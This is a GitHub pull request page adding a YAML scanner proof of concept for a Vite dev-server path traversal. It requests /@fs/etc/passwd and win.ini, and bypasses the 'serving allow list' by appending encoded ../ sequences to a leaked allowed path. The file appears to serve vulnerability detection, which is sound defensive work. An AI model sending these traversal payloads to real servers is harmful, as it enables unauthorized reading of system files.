Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add poc-yaml-vite-path-traversal #1629

Closed
wants to merge 1 commit into from
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
66 changes: 66 additions & 0 deletions pocs/poc-yaml-vite-path-traversal.yml
@@ -0,0 +1,66 @@
name: poc-yaml-vite-path-traversal
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /@fs/etc/passwd
follow_redirects: true
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
r1:
request:
cache: true
method: GET
path: /@fs/windows/win.ini
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes("[extensions]"))
r2:
request:
cache: true
method: GET
path: /@fs/etc/passwd
follow_redirects: true
expression: |
response.status == 403 && response.body.bcontains(b"Vite serving allow list")
output:
search: |
r'<br/>- (?P<allowlist>([\s\S]*?))<br/>'.bsubmatch(response.body)
allowlist: search['allowlist']
r3:
request:
cache: true
method: GET
path: /@fs{{allowlist}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
follow_redirects: true
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
r4:
request:
cache: true
method: GET
path: /@fs/windows/win.ini
follow_redirects: true
expression: |
response.status == 403 && response.body.bcontains(b"Vite serving allow list")
output:
search: |
r'<br/>- (?P<allowlist>([\s\S]*?))<br/>'.bsubmatch(response.body)
allowlist: search['allowlist']
r5:
request:
cache: true
method: GET
path: /@fs/{{allowlist}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fwindows%2fwin.ini
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes("[extensions]"))

expression: r0() || r1() || (r2() && r3()) || (r4() && r5())
detail:
author: archer
links:
- "https://github.com/vitejs/vite/issues/2820"
- "https://github.com/vitejs/vite/issues/8498"